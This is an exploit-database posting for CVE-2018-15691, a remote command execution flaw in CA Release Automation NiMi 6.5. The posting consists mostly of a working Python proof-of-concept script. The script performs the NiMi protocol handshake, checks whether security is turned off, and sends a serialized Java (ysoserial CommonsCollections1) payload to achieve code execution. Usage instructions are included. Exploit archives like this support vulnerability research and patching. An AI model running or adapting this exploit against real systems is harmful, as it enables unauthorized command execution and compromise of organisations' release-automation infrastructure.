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CA Release Automation NiMi 6.5 Remote Command Execution

CA Release Automation NiMi 6.5 Remote Command Execution
Posted Sep 19, 2018
Authored by Jakub Palaczynski, Maciej Grabiec

CA Release Automation NiMi version 6.5 suffers from a remote command execution vulnerability.

tags | exploit, remote
advisories | CVE-2018-15691
SHA-256 | ee7fc2be843047e737cd1ff2e3299d09c9fbdce8e0cb96c24043007882021e48

CA Release Automation NiMi 6.5 Remote Command Execution

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# Exploit Title: CA Release Automation NiMi 6.5 - Remote Command Execution
# Date: 2016-06-23
# Exploit Authors: Jakub Palaczynski, Maciej Grabiec
# Vendor Homepage: http://www.ca.com/
# Software Link: https://docops.ca.com/ca-release-automation/5-5-2/en/installation/deploy-agents/
# Version: CA Release Automation (NiMi) 5.X, 6.3, 6.4, 6.5
# CVE: CVE-2018-15691
# Info: CA Release Automation (NiMi) Remote Command Execution via Deserialization
# Info: Payloads generated using CommonsCollections1 from ysoserial work correctly.
# Info: Proof of Concept exploits NiMi service if security is turned off.

#!/usr/bin/python

import socket
import sys
import struct

if len(sys.argv) < 4:
sys.stderr.write("[-]Usage: python %s <ip> <port> <payload_file> <target_nodeid - not mandatory>\n" % sys.argv[0])
sys.stderr.write("[-]Exemple: python %s 10.0.0.1 6600 /tmp/payload.bin\n" % sys.argv[0])
exit(1)

host = sys.argv[1]
port = sys.argv[2]
file = sys.argv[3]

# check if payload does not exceed specified value
payloadObj = open(file,'rb').read()
if len(payloadObj) > 5729:
print 'Payload must be less than 5730 bytes. Try another one.'
exit(1)

# open socket to nimi port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting to node.'
sock.connect((host, int(port)))

# say hello to nimi
sock.recv(256)
sock.send('\x00\x00\x00\x0c\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x72\x02\x08\x00') # first required message

# get Node ID
data = sock.recv(256)
name = data[5] + data[6:6+ord(data[5])]
if len(sys.argv) == 5:
name = struct.pack(">B", len(sys.argv[4])) + sys.argv[4]

# check if security is enabled
sock.send('\x00\x00\x00\x1a\x0a\x04\x6e\x6f\x64\x65\x10\x0a\x7a\x10\x0a\x0c\x0a\x07\x30\x2e\x30\x2e\x30\x2e\x30\x10\x94\x3c\x10\x00') # second required message
check = sock.recv(256)
if check == "":
print 'Security is enabled. Sorry.'
exit(1)

# send payload
print 'Sending payload.'
header = '\x0a\x04\x6e\x6f\x64\x65\x10\x01\x1a' + name + '\x2a\xe4\x2c\x0a\xe1\x2c'
stage = header + payloadObj + '\x90' * (5729-len(payloadObj))
payload = struct.pack(">I", len(stage)) + stage

sock.sendall(payload)
sock.close()

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